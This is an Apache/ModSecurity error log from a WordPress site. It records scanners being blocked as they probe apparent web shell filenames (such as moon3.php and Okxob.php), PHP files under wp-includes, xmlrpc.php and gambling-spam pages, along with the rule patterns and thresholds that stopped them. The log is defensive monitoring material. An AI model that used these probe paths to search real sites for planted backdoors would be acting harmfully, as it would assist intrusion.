[Sat Feb 28 19:33:44.636835 2026] [:error] [pid 39184:tid 39243] [client 54.37.86.223:40484] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aaLSmFtZF9Zd_U7easCI9QAAAFg"]
[Sat Feb 28 19:33:47.280305 2026] [:error] [pid 52460:tid 52470] [client 54.37.86.223:40508] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aaLSm7LWOogAgHGh62QzkgAAAYc"]
[Sat Feb 28 19:33:49.769426 2026] [:error] [pid 49763:tid 49787] [client 54.37.86.223:40522] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aaLSnbTHSOG_yf2PpqHLRgAAAdU"]
[Sat Feb 28 19:33:52.131706 2026] [:error] [pid 52460:tid 52482] [client 54.37.86.223:52462] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aaLSoLLWOogAgHGh62QzrwAAAZM"]
[Sat Feb 28 19:33:54.643892 2026] [:error] [pid 39183:tid 39192] [client 54.37.86.223:52486] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aaLSohCf4HvhVePw3LbR5QAAAAA"]
[Sat Feb 28 19:33:57.166343 2026] [:error] [pid 39183:tid 39197] [client 54.37.86.223:52512] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aaLSpRCf4HvhVePw3LbR-AAAAAU"]
[Sat Feb 28 19:33:59.683404 2026] [:error] [pid 49763:tid 49786] [client 54.37.86.223:52530] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aaLSp7THSOG_yf2PpqHLtAAAAdQ"]
[Sat Feb 28 19:34:02.192024 2026] [:error] [pid 49763:tid 49781] [client 54.37.86.223:57886] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aaLSqrTHSOG_yf2PpqHLxAAAAc8"]
[Sat Feb 28 19:34:04.712631 2026] [:error] [pid 39184:tid 39241] [client 54.37.86.223:57910] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aaLSrFtZF9Zd_U7easCJLwAAAFY"]
[Sat Feb 28 19:34:07.203908 2026] [:error] [pid 39183:tid 39212] [client 54.37.86.223:57932] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aaLSrxCf4HvhVePw3LbSLwAAABQ"]
[Sat Feb 28 19:34:09.721922 2026] [:error] [pid 11791:tid 11796] [client 54.37.86.223:57954] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aaLSsWuX5e1Q32gqxH2phgAAAQM"]
[Sat Feb 28 19:34:12.240407 2026] [:error] [pid 39183:tid 39208] [client 54.37.86.223:52314] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aaLStBCf4HvhVePw3LbSVQAAABA"]
[Sat Feb 28 19:34:14.756679 2026] [:error] [pid 39183:tid 39192] [client 54.37.86.223:52322] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aaLSthCf4HvhVePw3LbSWAAAAAA"]
[Sat Feb 28 19:34:17.121478 2026] [:error] [pid 39184:tid 39241] [client 54.37.86.223:52342] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aaLSuVtZF9Zd_U7easCJUgAAAFY"]
[Sat Feb 28 19:34:19.626929 2026] [:error] [pid 22194:tid 22203] [client 54.37.86.223:52352] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aaLSu36mbajs3bzQGyuQbQAAAUc"]
[Sat Feb 28 19:34:22.131150 2026] [:error] [pid 49763:tid 49780] [client 54.37.86.223:51908] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aaLSvrTHSOG_yf2PpqHMRgAAAc4"]
[Sat Feb 28 19:34:24.658600 2026] [:error] [pid 49763:tid 49772] [client 54.37.86.223:51922] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aaLSwLTHSOG_yf2PpqHMYwAAAcY"]
[Sat Feb 28 20:00:37.027245 2026] [:error] [pid 49763:tid 49788] [client 20.220.212.70:40400] [client 20.220.212.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aaLY5bTHSOG_yf2PpqH1igAAAdY"]
[Sat Feb 28 20:00:37.864919 2026] [:error] [pid 39292:tid 39299] [client 20.220.212.70:40406] [client 20.220.212.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aaLY5aIAO5fN7BxyqcFhuQAAAMU"]
[Sat Feb 28 20:00:38.703566 2026] [:error] [pid 39183:tid 39215] [client 20.220.212.70:40433] [client 20.220.212.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aaLY5hCf4HvhVePw3LbxyAAAABc"]
[Sat Feb 28 20:00:39.557926 2026] [:error] [pid 11791:tid 11797] [client 20.220.212.70:40389] [client 20.220.212.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aaLY52uX5e1Q32gqxH2w0QAAAQQ"]
[Sat Feb 28 21:13:33.821963 2026] [:error] [pid 39183:tid 39202] [client 20.220.13.5:18209] [client 20.220.13.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aaLp_RCf4HvhVePw3LY_6gAAAAo"]
[Sat Feb 28 21:13:43.955525 2026] [autoindex:error] [pid 49763:tid 49779] [client 20.220.13.5:17871] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 21:13:44.172729 2026] [proxy_fcgi:error] [pid 49763:tid 49776] [client 20.220.13.5:17871] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 21:13:44.390054 2026] [autoindex:error] [pid 49763:tid 49775] [client 20.220.13.5:17871] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 21:13:44.606802 2026] [autoindex:error] [pid 49763:tid 49768] [client 20.220.13.5:17871] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/library/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 21:13:44.818007 2026] [:error] [pid 49763:tid 49777] [client 20.220.13.5:17871] [client 20.220.13.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.220.13.5, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaLqCLTHSOG_yf2PpqFhsQAAAcs"]
[Sat Feb 28 21:13:50.581228 2026] [autoindex:error] [pid 49763:tid 49776] [client 20.220.13.5:17871] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 21:13:51.007106 2026] [:error] [pid 49763:tid 49785] [client 20.220.13.5:17871] [client 20.220.13.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aaLqD7THSOG_yf2PpqFhwgAAAdM"]
[Sat Feb 28 21:13:51.851850 2026] [:error] [pid 52460:tid 52482] [client 20.220.13.5:17859] [client 20.220.13.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jcrop/Jcrop.php"] [unique_id "aaLqD7LWOogAgHGh62SC1AAAAZM"]
[Sat Feb 28 21:14:04.815025 2026] [:error] [pid 11791:tid 11811] [client 20.220.13.5:18232] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-cron.php"] [unique_id "aaLqHGuX5e1Q32gqxH3EZgAAARI"]
[Sat Feb 28 21:14:05.645952 2026] [:error] [pid 49763:tid 49768] [client 20.220.13.5:18203] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-cron.php"] [unique_id "aaLqHbTHSOG_yf2PpqFh_gAAAcI"]
[Sat Feb 28 21:14:06.483478 2026] [:error] [pid 39292:tid 39303] [client 20.220.13.5:18178] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-cron.php"] [unique_id "aaLqHqIAO5fN7BxyqcF6YQAAAMk"]
[Sat Feb 28 21:14:07.306201 2026] [:error] [pid 39292:tid 39311] [client 20.220.13.5:18211] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-cron.php"] [unique_id "aaLqH6IAO5fN7BxyqcF6ZQAAANE"]
[Sat Feb 28 21:28:11.471018 2026] [:error] [pid 39183:tid 39200] [client 4.204.200.32:56020] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Okxob.php"] [unique_id "aaLtaxCf4HvhVePw3LZOogAAAAg"]
[Sat Feb 28 21:28:12.013110 2026] [:error] [pid 39183:tid 39205] [client 4.204.200.32:56625] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Okxob.php"] [unique_id "aaLtbBCf4HvhVePw3LZOpgAAAA0"]
[Sat Feb 28 21:28:12.446318 2026] [:error] [pid 39183:tid 39201] [client 4.204.200.32:56002] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Okxob.php"] [unique_id "aaLtbBCf4HvhVePw3LZOqAAAAAk"]
[Sat Feb 28 21:28:12.931549 2026] [:error] [pid 49763:tid 49773] [client 4.204.200.32:56009] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Okxob.php"] [unique_id "aaLtbLTHSOG_yf2PpqF02AAAAcc"]
[Sat Feb 28 21:28:13.409543 2026] [:error] [pid 39183:tid 39198] [client 4.204.200.32:56042] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moon3.php"] [unique_id "aaLtbRCf4HvhVePw3LZOrQAAAAY"]
[Sat Feb 28 21:28:13.863634 2026] [:error] [pid 39183:tid 39199] [client 4.204.200.32:56616] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moon3.php"] [unique_id "aaLtbRCf4HvhVePw3LZOsgAAAAc"]
[Sat Feb 28 21:28:14.410574 2026] [:error] [pid 49763:tid 49790] [client 4.204.200.32:56021] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moon3.php"] [unique_id "aaLtbrTHSOG_yf2PpqF04QAAAdg"]
[Sat Feb 28 21:28:14.983876 2026] [:error] [pid 49763:tid 49780] [client 4.204.200.32:56013] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moon3.php"] [unique_id "aaLtbrTHSOG_yf2PpqF04wAAAc4"]
[Sat Feb 28 21:28:15.451141 2026] [:error] [pid 49763:tid 49770] [client 4.204.200.32:56043] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/thui.php"] [unique_id "aaLtb7THSOG_yf2PpqF05wAAAcQ"]
[Sat Feb 28 21:28:15.914439 2026] [:error] [pid 52460:tid 52474] [client 4.204.200.32:56630] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/thui.php"] [unique_id "aaLtb7LWOogAgHGh62SPFgAAAYs"]
[Sat Feb 28 21:28:16.366007 2026] [:error] [pid 52460:tid 52464] [client 4.204.200.32:56586] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/thui.php"] [unique_id "aaLtcLLWOogAgHGh62SPGgAAAYE"]
[Sat Feb 28 21:28:16.950142 2026] [:error] [pid 49763:tid 49767] [client 4.204.200.32:56028] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/thui.php"] [unique_id "aaLtcLTHSOG_yf2PpqF09gAAAcE"]
[Sat Feb 28 21:28:17.466959 2026] [:error] [pid 39183:tid 39197] [client 4.204.200.32:56629] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ebahvhhh.php"] [unique_id "aaLtcRCf4HvhVePw3LZOygAAAAU"]
[Sat Feb 28 21:28:18.021074 2026] [:error] [pid 39183:tid 39209] [client 4.204.200.32:65111] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ebahvhhh.php"] [unique_id "aaLtchCf4HvhVePw3LZO0QAAABE"]
[Sat Feb 28 21:28:18.609435 2026] [:error] [pid 39183:tid 39207] [client 4.204.200.32:56049] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ebahvhhh.php"] [unique_id "aaLtchCf4HvhVePw3LZO2gAAAA8"]
[Sat Feb 28 21:28:19.086320 2026] [:error] [pid 49763:tid 49767] [client 4.204.200.32:56045] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ebahvhhh.php"] [unique_id "aaLtc7THSOG_yf2PpqF1BwAAAcE"]
[Sat Feb 28 21:28:19.741895 2026] [:error] [pid 49763:tid 49771] [client 4.204.200.32:56056] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/snq.php"] [unique_id "aaLtc7THSOG_yf2PpqF1EgAAAcU"]
[Sat Feb 28 21:28:20.278753 2026] [:error] [pid 49763:tid 49783] [client 4.204.200.32:56595] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/snq.php"] [unique_id "aaLtdLTHSOG_yf2PpqF1HAAAAdE"]
[Sat Feb 28 21:28:20.850708 2026] [:error] [pid 49763:tid 49774] [client 4.204.200.32:56599] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/snq.php"] [unique_id "aaLtdLTHSOG_yf2PpqF1KAAAAcg"]
[Sat Feb 28 21:28:21.306775 2026] [:error] [pid 39183:tid 39199] [client 4.204.200.32:56632] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/snq.php"] [unique_id "aaLtdRCf4HvhVePw3LZO8QAAAAc"]
[Sat Feb 28 21:28:21.903030 2026] [:error] [pid 49763:tid 49778] [client 4.204.200.32:56014] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mcs.php"] [unique_id "aaLtdbTHSOG_yf2PpqF1NwAAAcw"]
[Sat Feb 28 21:28:22.417218 2026] [:error] [pid 39183:tid 39197] [client 4.204.200.32:56608] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mcs.php"] [unique_id "aaLtdhCf4HvhVePw3LZO_AAAAAU"]
